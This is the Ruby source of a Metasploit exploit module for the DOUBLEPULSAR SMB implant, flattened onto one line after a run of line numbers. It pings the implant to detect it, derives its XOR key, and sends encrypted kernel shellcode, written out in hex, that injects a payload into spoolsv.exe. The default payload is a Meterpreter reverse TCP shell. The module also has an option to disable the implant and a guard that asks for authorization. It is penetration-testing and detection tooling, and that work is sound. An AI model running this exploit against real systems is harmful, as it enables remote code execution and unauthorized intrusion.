1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SMB::Client MAX_SHELLCODE_SIZE = 4096 def initialize(info = {}) super(update_info(info, 'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization', 'Description'=> %q{ This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant. }, 'Author' => [ 'Equation Group', # DOUBLEPULSAR implant 'Shadow Brokers', # Equation Group dump 'zerosum0x0', # DOPU analysis and detection 'Luke Jennings',# DOPU analysis and detection 'wvu',# Metasploit module and arch detection 'Jacob Robles'# Metasploit module and RCE help ], 'References' => [ ['MSB', 'MS17-010'], ['CVE', '2017-0143'], ['CVE', '2017-0144'], ['CVE', '2017-0145'], ['CVE', '2017-0146'], ['CVE', '2017-0147'], ['CVE', '2017-0148'], ['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'], ['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'], ['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'], ['URL', 'https://github.com/countercept/doublepulsar-detection-script'], ['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'], ['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1'] ], 'DisclosureDate' => '2017-04-14', 'License'=> MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Privileged' => true, 'Payload'=> { 'Space'=> MAX_SHELLCODE_SIZE - kernel_shellcode_size, 'DisableNops'=> true }, 'Targets'=> [ ['Execute payload',{}], ['Neutralize implant', {}] ], 'DefaultTarget'=> 0, 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD'=> 'windows/x64/meterpreter/reverse_tcp' }, 'Notes'=> { 'AKA'=> ['DOUBLEPULSAR'], 'RelatedModules' => [ 'auxiliary/scanner/smb/smb_ms17_010', 'exploit/windows/smb/ms17_010_eternalblue' ], 'Stability'=> [CRASH_SAFE], 'Reliability'=> [REPEATABLE_SESSION] } )) register_advanced_options([ OptBool.new('DefangedMode',[true, 'Run in defanged mode', true]), OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe']) ]) end OPCODES = { ping: 0x23, exec: 0xc8, kill: 0x77 } STATUS_CODES = { not_detected: 0x00, success:0x10, invalid_params: 0x20, alloc_failure:0x30 } def calculate_doublepulsar_status(m1, m2) STATUS_CODES.key(m2.to_i - m1.to_i) end # algorithm to calculate the XOR Key for DoublePulsar knocks def calculate_doublepulsar_xor_key(s) x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8))) x & 0xffffffff# this line was added just to truncate to 32 bits end # The arch is adjacent to the XOR key in the SMB signature def calculate_doublepulsar_arch(s) s == 0 ? ARCH_X86 : ARCH_X64 end def generate_doublepulsar_timeout(op) k = SecureRandom.random_bytes(4).unpack('V').first 0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00 end def generate_doublepulsar_param(op, body) case OPCODES.key(op) when :ping, :kill "\x00" * 12 when :exec Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*')) end end def check ipc_share = "\\\\#{rhost}\\IPC$" @tree_id = do_smb_setup_tree(ipc_share) vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}") vprint_status("Target OS is #{smb_peer_os}") vprint_status('Sending ping to DOUBLEPULSAR') code, signature1, signature2 = do_smb_doublepulsar_pkt msg = 'Host is likely INFECTED with DoublePulsar!' case calculate_doublepulsar_status(@multiplex_id, code) when :success @xor_key = calculate_doublepulsar_xor_key(signature1) @arch = calculate_doublepulsar_arch(signature2) arch_str = case @arch when ARCH_X86 'x86 (32-bit)' when ARCH_X64 'x64 (64-bit)' end vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}") CheckCode::Vulnerable when :not_detected vprint_error('DOUBLEPULSAR not detected or disabled') CheckCode::Safe else vprint_error('An unknown error occurred') CheckCode::Unknown end end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute code against a nation-state implant? You MAY contaminate forensic evidence if there is an investigation. Disable the DefangedMode option if you have authorization to proceed. EOF fail_with(Failure::BadConfig, warning) end # No ForceExploit because @tree_id and @xor_key are required unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR') end case target.name when 'Execute payload' unless @xor_key fail_with(Failure::NotFound, 'XOR key not found') end if @arch == ARCH_X86 fail_with(Failure::NoTarget, 'x86 is not a supported target') end print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}") shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName']) shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length) vprint_status("Total shellcode length: #{shellcode.length} bytes") print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}") xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode) print_status('Sending shellcode to DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode) when 'Neutralize implant' return neutralize_implant end case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Payload execution successful') when :invalid_params fail_with(Failure::BadConfig, 'Invalid parameters were specified') when :alloc_failure fail_with(Failure::PayloadFailed, 'An allocation failure occurred') else fail_with(Failure::Unknown, 'An unknown error occurred') end ensure disconnect end def neutralize_implant print_status('Neutralizing DOUBLEPULSAR') code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill]) case calculate_doublepulsar_status(@multiplex_id, code) when :success print_good('Implant neutralization successful') else fail_with(Failure::Unknown, 'An unknown error occurred') end end def do_smb_setup_tree(ipc_share) connect # logon as user \ simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain']) # connect to IPC$ simple.connect(ipc_share) # return tree simple.shares[ipc_share] end def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil) # make doublepulsar knock pkt = make_smb_trans2_doublepulsar(opcode, body) sock.put(pkt) bytes = sock.get_once return unless bytes # convert packet to response struct pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct pkt.from_s(bytes[4..-1]) return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2'] end def make_smb_trans2_doublepulsar(opcode, body) setup_count = 1 setup_data = [0x000e].pack('v') param = generate_doublepulsar_param(opcode, body) data = param + body.to_s pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct simple.client.smb_defaults(pkt['Payload']['SMB']) base_offset = pkt.to_s.length + (setup_count * 2) - 4 param_offset = base_offset data_offset = param_offset + param.length pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2 pkt['Payload']['SMB'].v['Flags1'] = 0x18 pkt['Payload']['SMB'].v['Flags2'] = 0xc007 @multiplex_id = rand(0xffff) pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count pkt['Payload']['SMB'].v['TreeID'] = @tree_id pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id pkt['Payload'].v['ParamCountTotal'] = param.length pkt['Payload'].v['DataCountTotal'] = body.to_s.length pkt['Payload'].v['ParamCountMax'] = 1 pkt['Payload'].v['DataCountMax'] = 0 pkt['Payload'].v['ParamCount'] = param.length pkt['Payload'].v['ParamOffset'] = param_offset pkt['Payload'].v['DataCount'] = body.to_s.length pkt['Payload'].v['DataOffset'] = data_offset pkt['Payload'].v['SetupCount'] = setup_count pkt['Payload'].v['SetupData'] = setup_data pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode) pkt['Payload'].v['Payload'] = data pkt.to_s end # ring3 = user mode encoded payload # proc_name = process to inject APC into def make_kernel_user_payload(ring3, proc_name) sc = make_kernel_shellcode(proc_name) sc << [ring3.length].pack("S<") sc << ring3 sc end def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" process.each_byte do |c| proc_hash= ror(proc_hash, 13) proc_hash += c end [proc_hash].pack('l<') end def ror(dword, bits) (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF end def make_kernel_shellcode(proc_name) # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 780 bytes "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" + "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" + "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" + "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" + "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" + "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" + "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" + "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" + "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" + "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" + "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" + "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" + "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" + generate_process_hash(proc_name.upcase) + "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" + "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" + "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" + "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" + "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" + "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" + "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" + "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" + "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" + "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" + "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" + "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" + "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" + "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" + "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" + "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" + "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" + "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" + "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" + "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" + "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" + "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" + "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" + "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" + "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" + "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" + "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" + "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" + "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" + "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" + "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" + "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" + "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" + "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" + "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" + "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3" end def kernel_shellcode_size make_kernel_shellcode('').length end end |